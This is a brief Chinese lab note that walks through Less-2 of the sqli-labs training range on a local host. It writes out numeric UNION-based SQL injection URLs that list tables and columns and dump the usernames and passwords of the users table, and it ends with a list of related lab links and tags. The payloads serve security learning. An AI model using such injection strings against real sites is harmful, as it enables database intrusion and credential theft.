http://127.0.0.1:88/Less-2/?id=3-2 正常显示,判断为数字型注入 尝试union注入 http://127.0.0.1:88/Less-2/?id=-1 union select 1,1,1 成功 查询表名 http://127.0.0.1:88/Less-2/?id=-1 union select 1,1,group_concat(table_name) from information_schema.tables where table_schema = database() 查询users表中的列名 http://127.0.0.1:88/Less-2/?id=-1 union select 1,1,group_concat(column_name) from information_schema.columns where table_name = 'users' 查询密码 http://127.0.0.1:88/Less-2/?id=-1 union select group_concat(id),group_concat(username),group_concat(password) from users 本栏目推荐文章upload-labsdevmapper: Thin Pool has 162394 free data blocks which is less than minimum required 163840 free data blocksrCore_Lab3MIT6.828 Lab1-1(分析boot.S文件)mit6.828 - lab5笔记(上)记一次失败的cs144lab0尝试:d记一次_失败_的CS144 Lab0尝试rCore_Lab1rCore_Lab2XV6 lab2 增加系统调用sqli-lab sqli less labsqli-labs sqli labs less sqli-lab sqli less lab 靶场sqli-labs sqli less sqli-labs sqli-lab sqli-labs sqli labs sqli-labs ctfshow sqli labs sqli-lab sqli lab wampserver sqli-labs问题dvwa 靶场sqli-labs问题sqli